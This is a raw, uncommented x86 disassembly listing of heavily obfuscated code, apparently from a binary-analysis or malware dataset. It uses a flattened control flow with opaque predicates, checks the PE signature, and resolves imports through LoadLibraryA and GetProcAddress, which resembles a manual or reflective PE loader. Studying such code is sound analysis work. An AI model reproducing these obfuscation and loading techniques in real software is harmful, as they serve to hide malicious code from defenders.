test eax, ecx
mov ecx, 0x64fb488d
jmp 0x404d27
mov eax, 0x727ccc4b
jmp 0x401700
mov eax, dword [ebp - 0xfc]
mov eax, 0x32ee460e
jmp 0x401700
mov eax, 0x99caa84
jmp 0x401700
mov eax, dword [ebp - 0x24]
mov ecx, 0x40000000
mov esi, 0x7757a0bc
mov ebx, 0xc822d06d
mov eax, dword [eax]
and eax, ecx
mov dword [ebp - 0x1b4], eax
mov eax, dword [0x4a33e0]
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xc822d06d
jmp 0x404f0f
mov eax, 0x80472b8d
jmp 0x401700
cmp dword [ebp - 0x17c], 0
mov eax, 0x31d24776
mov ecx, 0x724ff428
cmove eax, ecx
jmp 0x401700
mov eax, dword [0x4a33e0]
mov esi, 0x304e3ddb
mov edi, 0x4ab2dc30
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x4ab2dc30
jmp 0x404d27
mov eax, dword [ebp - 0x20]
mov edi, 0x84e04b6
mov esi, 0x713ae331
mov eax, dword [eax]
mov dword [ebp - 0x104], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0x160], eax
mov eax, dword [0x4a33e0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x713ae331
jmp 0x4047ef
cmp dword [ebp - 0x1b0], 0
mov eax, 0x7e6b9112
mov ecx, 0xe03e610b
cmovns eax, ecx
jmp 0x401700
cmp dword [ebp - 0x1bc], 0
mov eax, 0xb07e94e9
mov ecx, 0x36972873
cmove eax, ecx
jmp 0x401700
mov eax, 0x4c0ab23a
jmp 0x401700
mov eax, dword [ebp - 0x1a4]
mov ecx, 0x17a88111
cmp eax, 0xc
mov eax, 0xc2cf921d
cmove eax, ecx
jmp 0x401700
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0xd
mov eax, dword [ebp - 0x48]
mov eax, 0x1a53f9b6
jmp 0x401700
mov edx, dword [0x4a33e0]
mov eax, dword [0x4a33dc]
mov esi, 0x2201e42a
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xecae8bd0
jmp 0x404693
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0xa0]
add eax, dword [ebp - 0x70]
mov ecx, dword [ebp - 0x30]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x20]
mov edx, dword [edx]
lea edx, [edx + edx*4]
push dword [ecx + edx*8 + 0x10]
push eax
push dword [ebp - 0x108]
vzeroupper
call fcn.0043cf40
add esp, 0xc
mov eax, 0xbccbbb63
jmp 0x401700
mov eax, dword [0x4a33e0]
mov edi, 0xe815d022
mov esi, 0xb197746
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xb197746
jmp 0x4047ef
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x9c]
vmovsd xmm0, qword [ecx]
vmovsd qword [eax], xmm0
mov eax, 0x8ae34308
jmp 0x401700
mov eax, dword [ebp - 0x94]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x48]
mov ecx, dword [ecx]
lea eax, [eax + ecx*4]
mov dword [ebp - 0x19c], eax
mov eax, 0x2c9a326
jmp 0x401700
mov eax, dword [ebp - 0xd8]
push 0xffffffffffffffff
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 0xa4]
mov dword [eax], 0
mov eax, dword [ebp - 0x1c]
mov dword [eax], 1
mov eax, dword [ebp - 0xd8]
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0x6c]
mov eax, 0xd2ad5acf
jmp 0x401700
mov eax, dword [ebp - 0x24]
mov eax, 0xc11d2746
jmp 0x401700
mov eax, dword [0x4a33e0]
mov edi, 0xaa5661a1
mov esi, 0xa191195b
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xa191195b
jmp 0x4016e3
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx]
movzx ecx, word [ecx + 6]
cmp dword [eax], ecx
mov eax, 0x8498656a
setl byte [ebp - 0x7b]
jmp 0x401700
mov eax, dword [0x4a33e0]
mov esi, 0x4ba927c3
mov edi, 0xffd9d0e6
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xffd9d0e6
jmp 0x405108
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x48]
inc eax
mov dword [ecx], eax
mov eax, 0x15eb7449
jmp 0x401700
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x50], eax
mov eax, 0xdbc20c80
jmp 0x401700
mov eax, dword [ebp - 0x14c]
add eax, 0x34
mov dword [ebp - 0x150], eax
mov eax, 0x7ae4df4
jmp 0x401700
push eax
mov eax, esp
mov dword [ebp - 0xa4], eax
push eax
mov eax, esp
mov dword [ebp - 0x84], eax
mov eax, 0x3dc00
call fcn.0043a0d0
mov eax, esp
mov dword [ebp - 0xa8], eax
push eax
mov eax, esp
mov dword [ebp - 0xc4], eax
push eax
mov eax, esp
mov dword [ebp - 0x14], eax
push eax
mov eax, esp
mov dword [ebp - 0x1c], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0xc8], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0xcc], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x54], eax
push eax
mov eax, esp
mov dword [ebp - 0x18], eax
push eax
mov eax, esp
mov dword [ebp - 0xe4], eax
push eax
mov eax, esp
mov dword [ebp - 0x30], eax
push eax
mov eax, esp
mov dword [ebp - 0x20], eax
push eax
mov eax, esp
mov dword [ebp - 0xac], eax
push eax
mov eax, esp
mov dword [ebp - 0x28], eax
push eax
mov eax, esp
mov dword [ebp - 0x88], eax
push eax
mov eax, esp
mov dword [ebp - 0x8c], eax
push eax
mov eax, esp
mov dword [ebp - 0x90], eax
push eax
mov eax, esp
mov dword [ebp - 0x44], eax
push eax
mov eax, esp
mov dword [ebp - 0x5c], eax
push eax
mov eax, esp
mov dword [ebp - 0x60], eax
push eax
mov eax, esp
mov dword [ebp - 0x34], eax
push eax
mov eax, esp
mov dword [ebp - 0xb0], eax
push eax
mov eax, esp
mov dword [ebp - 0x64], eax
push eax
mov esi, dword [0x4a33e0]
mov edx, dword [0x4a33dc]
mov edi, 0xfa82de08
mov ecx, esp
mov dword [ebp - 0x94], ecx
lea eax, [esi + 1]
imul eax, esi
mov esi, eax
xor esi, 0xfffffffe
test esi, eax
sete bl
cmp edx, 0xa
setl bh
xor bh, bl
mov ebx, 0xd8c5d3a6
cmovne ebx, edi
test esi, eax
mov eax, ebx
cmove eax, edi
cmp edx, 0xa
cmovge eax, ebx
jmp 0x401700
mov eax, dword [ebp - 0x4c]
mov dword [eax], 2
mov eax, 0xad8861b1
jmp 0x401700
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
movzx eax, word [eax]
shr eax, 0xc
mov dword [ebp - 0x74], eax
mov eax, 0x8fffa785
jmp 0x401700
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x14]
mov eax, 0xd84934fa
jmp 0x401700
mov edx, dword [0x4a33e0]
mov eax, dword [0x4a33dc]
mov esi, 0xebb23988
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x2943a6c6
jmp 0x404693
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x180]
mov dword [eax], ecx
mov eax, 0x852f01a
jmp 0x401700
mov edx, dword [0x4a33e0]
mov ecx, dword [0x4a33dc]
mov esi, 0xbed9c9e8
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x41106a87
jmp 0x404cef
cmp dword [ebp - 0x1b4], 0
mov eax, 0x7a994d11
mov ecx, 0xf6c59987
cmove eax, ecx
jmp 0x401700
mov eax, dword [ebp - 0x28]
mov eax, 0xc9992f95
jmp 0x401700
movzx eax, word [ebp - 0xbe]
mov ecx, dword [ebp - 0x104]
mov esi, 0x71a47dab
mov ebx, 0x8fbcc1ae
cmp ecx, eax
mov eax, dword [0x4a33e0]
setl byte [ebp - 0x77]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x8fbcc1ae
jmp 0x404752
mov eax, 0xa28d20ba
jmp 0x401700
mov eax, 0xc1bb7d25
jmp 0x401700
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
mov dword [ebp - 0xf0], eax
mov eax, 0xd7fdc70e
jmp 0x401700
mov edx, dword [0x4a33e0]
mov eax, dword [0x4a33dc]
mov esi, 0x37df819c
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x5552ec57
cmovne edx, esi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, esi
cmp eax, 0xa
mov eax, dword [ebp - 0x74]
cmovge ecx, edx
mov edx, eax
xor edx, 0xfffffffc
and edx, eax
mov eax, ecx
mov dword [ebp - 0x17c], edx
jmp 0x401700
push 0x64
vzeroupper
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0x357507d1
jmp 0x401700
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x14]
mov eax, 0xa972be0d
jmp 0x401700
mov eax, 0x36972873
jmp 0x401700
mov eax, dword [ebp - 0xa0]
add eax, dword [ebp - 0x70]
mov ecx, dword [ebp - 0x30]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x20]
mov edx, dword [edx]
lea edx, [edx + edx*4]
push dword [ecx + edx*8 + 0x10]
push eax
push dword [ebp - 0x108]
vzeroupper
call fcn.0043cf40
add esp, 0xc
mov edx, dword [0x4a33e0]
mov ecx, dword [0x4a33dc]
mov esi, 0x8ec4bf64
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xf9f0f29e
jmp 0x404cef
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
not eax
or eax, 0xdfffffff
cmp eax, 0xffffffff
mov eax, 0xf25e7a5
setne byte [ebp - 0x7d]
jmp 0x401700
mov edx, dword [0x4a33e0]
mov eax, dword [0x4a33dc]
mov esi, 0xf5bfd686
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xafaa58f9
cmovne edx, esi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, esi
cmp eax, 0xa
cmovge ecx, edx
mov eax, ecx
jmp 0x401700
mov eax, 0x4ba927c3
jmp 0x401700
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x120]
mov esi, 0x18ee5154
mov edi, 0x10aa78d0
mov dword [eax], ecx
mov edx, dword [0x4a33e0]
mov eax, dword [0x4a33dc]
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, ecx
mov ecx, esi
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
jmp 0x4051e7
mov eax, dword [ebp - 0x188]
mov eax, dword [eax + 8]
add eax, dword [ebp - 0x184]
mov ecx, dword [ebp - 0x60]
mov dword [ecx], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov dword [eax], 0
mov eax, 0x6509f98f
jmp 0x401700
mov eax, dword [0x4a33e0]
mov esi, 0xd84934fa
mov ebx, 0x713ae331
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x713ae331
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, esi
cmp dword [0x4a33dc], 0xa
setl dl
cmovge eax, ebx
jmp 0x40511b
mov eax, dword [ebp - 0x94]
mov eax, 0xd66e618d
jmp 0x401700
mov dword [ebp - 0xf8], 0
mov eax, 0x75d8ad8b
jmp 0x401700
mov eax, 0xfcc91bf0
jmp 0x401700
mov eax, dword [ebp - 0xb0]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0x64]
mov dword [ecx], eax
mov ecx, 0x46707c20
mov eax, dword [ebp - 0x64]
cmp dword [eax], 0
mov eax, 0x368d9b43
cmove eax, ecx
jmp 0x401700
mov eax, dword [0x4a33e0]
mov edi, 0x7a665243
mov esi, 0xd002a74d
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xd002a74d
sete cl
cmove eax, edi
cmp dword [0x4a33dc], 0xa
setl dl
cmovge eax, esi
xor dl, cl
cmovne eax, edi
jmp 0x401700
mov eax, 0x12e93f9a
jmp 0x401700
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
cmp dword [eax + 0xe8], 0
mov eax, dword [ebp - 0x6c]
setne byte [eax]
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0x6c]
mov eax, 0x1e10d2c5
jmp 0x401700
mov edx, dword [0x4a33e0]
mov eax, dword [0x4a33dc]
mov esi, 0xde267744
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xc44247ed
cmovne edx, esi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, esi
cmp eax, 0xa
mov eax, dword [ebp - 0x124]
cmovge ecx, edx
add eax, 0x78
mov dword [ebp - 0x188], eax
mov eax, ecx
jmp 0x401700
mov eax, 0xa38e8814
jmp 0x401700
mov eax, dword [ebp - 0xe8]
mov eax, 0x82f62390
jmp 0x401700
mov eax, 0xab6a3f6f
jmp 0x401700
mov eax, dword [ebp - 0x168]
mov ecx, 0xc4997164
cmp eax, dword [ebp - 0x170]
mov eax, 0x2afc37cc
cmove eax, ecx
jmp 0x401700
cmp byte [ebp - 0x77], 0
mov eax, 0xa40545a2
mov ecx, 0xb27dadb0
cmovne eax, ecx
jmp 0x401700
mov eax, dword [0x4a33e0]
mov esi, 0x3bf7b4b3
mov edi, 0xd0b5644b
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xd0b5644b
jmp 0x404d27
cmp dword [ebp - 0x1ac], 0
mov eax, 0x7daa895f
mov ecx, 0xc03f75b
cmovns eax, ecx
jmp 0x401700
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x9c]
vmovsd xmm0, qword [eax]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x3c]
mov ecx, dword [ecx]
mov dword [ecx + 4], eax
push dword [ebp - 0x68]
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov eax, dword [ebp - 0x3c]
mov eax, 0x65838ecd
jmp 0x401700
mov eax, dword [ebp - 0x128]
mov edi, 0x5aab5770
mov esi, 0x6a8732b6
mov eax, dword [eax]
add eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xb0]
mov dword [ecx], eax
mov eax, dword [ebp - 0x64]
mov eax, dword [0x4a33e0]
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x6a8732b6
jmp 0x4016e3
mov eax, dword [ebp - 0x24]
mov eax, 0x9245299e
jmp 0x401700
mov eax, dword [ebp - 0x1a8]
mov ecx, dword [ebp - 0x34]
inc eax
mov dword [ecx], eax
mov eax, 0x6509f98f
jmp 0x401700
mov edx, dword [0x4a33e0]
mov ecx, dword [0x4a33dc]
mov esi, 0x28888bb0
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x1ab4733e
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x2c]
cmovge eax, edx
add ecx, 0x18
mov dword [ebp - 0xdc], ecx
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx]
add ecx, 0x14
mov dword [ebp - 0x100], ecx
jmp 0x401700
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x9c]
vmovsd xmm0, qword [eax]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x3c]
mov ecx, dword [ecx]
mov dword [ecx + 4], eax
push dword [ebp - 0x68]
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
mov esi, 0xe9014855
mov edi, 0x8426d6ec
mov word [ebp - 0xf2], ax
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax]
mov dword [ebp - 0x1d0], eax
mov eax, dword [0x4a33e0]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x8426d6ec
jmp 0x404d27
mov eax, dword [0x4a33e0]
mov esi, 0xb36dc79a
mov edi, 0x2943a6c6
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x2943a6c6
jmp 0x404d27
cmp byte [ebp - 0x79], 0
mov eax, 0x8092d095
mov ecx, 0x6ffd80e1
cmovne eax, ecx
jmp 0x401700
mov eax, dword [ebp - 0xa4]
mov esi, 0x36484d8a
mov ebx, 0xb3a385c4
mov eax, dword [eax]
mov dword [ebp - 0x1d4], eax
mov eax, dword [0x4a33e0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xb3a385c4
jmp 0x404f0f
mov eax, dword [ebp - 0x118]
mov eax, dword [ebp - 0x11c]
mov eax, 0xf8413ec5
jmp 0x401700
mov eax, 0xb07a0990
jmp 0x401700
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x20]
mov esi, 0x9a7e3d55
mov edi, 0x88bffac4
inc eax
mov dword [ecx], eax
mov edx, dword [0x4a33e0]
mov ecx, dword [0x4a33dc]
jmp 0x404d9e
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov dword [ebp - 0x58], eax
mov eax, 0x9a25083d
jmp 0x401700
mov eax, 0x2fc9965a
jmp 0x401700
mov eax, 0xf506cc90
jmp 0x401700
mov edx, dword [0x4a33e0]
mov eax, dword [0x4a33dc]
mov esi, 0x6a8732b6
mov edi, 0x470586d2
jmp 0x4051c2
cmp byte [ebp - 0x7e], 0
mov eax, 0xe03e610b
mov ecx, 0xb2716f09
cmovne eax, ecx
jmp 0x401700
mov eax, dword [ebp - 0x134]
mov ecx, 0x4cc05e86
cmp dword [eax], 0x4550
mov eax, 0xfa79d8c5
cmove eax, ecx
jmp 0x401700
mov eax, dword [ebp - 0x14]
mov esi, 0x20396fea
mov edi, 0xa8ac9ecc
mov eax, dword [eax]
mov dword [ebp - 0x154], eax
mov eax, dword [0x4a33e0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xa8ac9ecc
jmp 0x405108
mov edx, dword [0x4a33e0]
mov ecx, dword [0x4a33dc]
mov esi, 0x5536aa4c
mov edi, 0xf8413ec5
jmp 0x404d9e
mov eax, dword [ebp - 0x154]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x158], eax
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
mov dword [ebp - 0x15c], eax
mov eax, 0x47be4883
jmp 0x401700
mov eax, dword [ebp - 0x1c]
mov edi, 0x179727a7
mov esi, 0x879bb269
mov dword [eax], 0
mov eax, dword [0x4a33e0]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x879bb269
jmp 0x4016e3
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x54]
vmovsd xmm0, qword [eax + 0xa0]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x138], eax
mov eax, 0xb7b1fa0c
jmp 0x401700
mov edx, dword [0x4a33e0]
mov eax, dword [0x4a33dc]
mov esi, 0x18ee5154
mov edi, 0x2a81309
jmp 0x4051c2
mov eax, dword [0x4a33e0]
mov esi, 0xe6632ad0
mov ebx, 0x5552ec57
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x5552ec57
jmp 0x404f0f
mov edx, dword [0x4a33e0]
mov ecx, dword [0x4a33dc]
mov esi, 0x9f565eec
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x8fbcc1ae
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
cmp ecx, 0xa
cmovge eax, edx
jmp 0x401700
mov eax, dword [0x4a33e0]
mov esi, 0x63a65773
mov edi, 0x879bb269
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x879bb269
sete al
cmove ecx, esi
cmp dword [0x4a33dc], 0xa
setl dl
cmovge ecx, edi
jmp 0x404f22
cmp byte [ebp - 0x7d], 0
mov eax, 0xc03f75b
mov ecx, 0xf2496772
cmovne eax, ecx
jmp 0x401700
mov eax, 0xc4997164
jmp 0x401700
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
mov dword [ebp - 0x120], eax
mov eax, 0x219ec695
jmp 0x401700
mov eax, 0x84fe72f
jmp 0x401700
mov eax, 0xee2fb266
jmp 0x401700
mov edx, dword [0x4a33e0]
mov ecx, dword [0x4a33dc]
mov esi, 0xffd9d0e6
mov edi, 0xbf8064fe
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, eax
mov eax, esi
cmove eax, edi
cmp ecx, 0xa
cmovge eax, esi
jmp 0x401700
mov eax, dword [ebp - 0x174]
mov ecx, dword [ebp - 0x28]
mov dword [ecx], eax
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x88]
mov dword [eax], 0
mov eax, 0x3d45d69c
jmp 0x401700
mov eax, dword [ebp - 0xa4]
mov dword [eax], 1
mov eax, 0xe815d022
jmp 0x401700
cmp byte [ebp - 0x7c], 0
mov eax, 0xc03f75b
mov ecx, 0x8d262bb
cmovne eax, ecx
jmp 0x401700
mov edx, dword [0x4a33e0]
mov ecx, dword [0x4a33dc]
mov esi, 0xecc992a1
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x53dfc14b
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x18]
cmovge eax, edx
mov ecx, dword [ecx]
mov dword [ebp - 0x168], ecx
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx]
add ecx, 0x34
mov dword [ebp - 0x16c], ecx
jmp 0x401700
mov eax, dword [0x4a33e0]
mov esi, 0x1b68033c
mov edi, 0xb9a2264c
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xb9a2264c
jmp 0x405108
mov edx, dword [0x4a33e0]
mov ecx, dword [0x4a33dc]
mov esi, 0x57a95d7
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xa77e3936
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
cmp ecx, 0xa
mov ecx, dword [ebp - 0xac]
cmovge eax, edx
jmp 0x401700
mov eax, dword [0x4a33e0]
mov esi, 0x739b1c06
mov ebx, 0x85461184
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x85461184
sete al
cmove ecx, esi
cmp dword [0x4a33dc], 0xa
setl dl
cmovge ecx, ebx
xor dl, al
cmovne ecx, esi
mov eax, ecx
jmp 0x401700
mov eax, dword [ebp - 0xd0]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x94]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x48]
mov edx, dword [edx]
add eax, dword [ecx + edx*4]
mov ecx, dword [ebp - 0xd0]
mov dword [ecx], eax
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x94]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x48]
mov ecx, dword [ecx]
movzx eax, word [eax + ecx*4]
mov ecx, dword [ebp - 0x64]
push eax
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x98]
mov dword [ecx], eax
mov eax, 0x9696c2a4
jmp 0x401700
mov eax, dword [0x4a33e0]
mov edi, 0x9245299e
mov esi, 0xc822d06d
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xc822d06d
jmp 0x4016e3
mov eax, 0x3fe6ed43
jmp 0x401700
mov eax, 0x5a0e442a
jmp 0x401700
cmp byte [ebp - 0x80], 0
mov eax, 0x8ae34308
mov ecx, 0x1a9e2b95
cmovne eax, ecx
jmp 0x401700
mov eax, 0xcf4f15b9
jmp 0x401700
mov edx, dword [0x4a33e0]
mov eax, dword [0x4a33dc]
mov esi, 0xecae8bd0
mov edi, 0x75a83161
jmp 0x4051c2
mov edx, dword [0x4a33e0]
mov ecx, dword [0x4a33dc]
mov esi, 0xe6c68224
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xff018240
cmovne esi, ebx
test edx, eax
mov eax, esi
cmove eax, ebx
jmp 0x404dc0
mov eax, 0x2e7c5075
jmp 0x401700
mov edx, dword [0x4a33e0]
mov ecx, dword [0x4a33dc]
mov esi, 0xf99ee89e
mov edi, 0xc8a44b5a
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, eax
mov eax, esi
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x5c]
cmovge eax, esi
jmp 0x401700
mov eax, dword [ebp - 0x1c]
mov dword [eax], 2
mov eax, 0xeaec543c
jmp 0x401700
mov eax, dword [ebp - 0x1d0]
movzx ecx, word [ebp - 0xf2]
mov word [eax], cx
mov eax, 0x5c5cff59
jmp 0x401700
mov eax, 0x4c3df995
jmp 0x401700
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0xc4]
mov eax, 0x35ac8c99
jmp 0x401700
mov eax, dword [ebp - 0x114]
mov ecx, dword [ebp - 0x110]
mov esi, 0x43d7a9cf
mov edi, 0x4dc53163
cmp ecx, dword [eax]
mov eax, dword [0x4a33e0]
lea ecx, [eax + 1]
setb byte [ebp - 0x78]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x4dc53163
sete cl
cmove eax, esi
cmp dword [0x4a33dc], 0xa
setl dl
cmovge eax, edi
xor dl, cl
cmovne eax, esi
jmp 0x401700
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0xa
mov eax, 0x3fd9c6d
jmp 0x401700
mov eax, 0xb88cef9
jmp 0x401700
mov eax, 0xf5b152fe
jmp 0x401700
mov eax, dword [0x4a33e0]
mov edi, 0xeb3016a1
mov esi, 0x64fb488d
lea ecx, [eax + 1]
imul ecx, eax
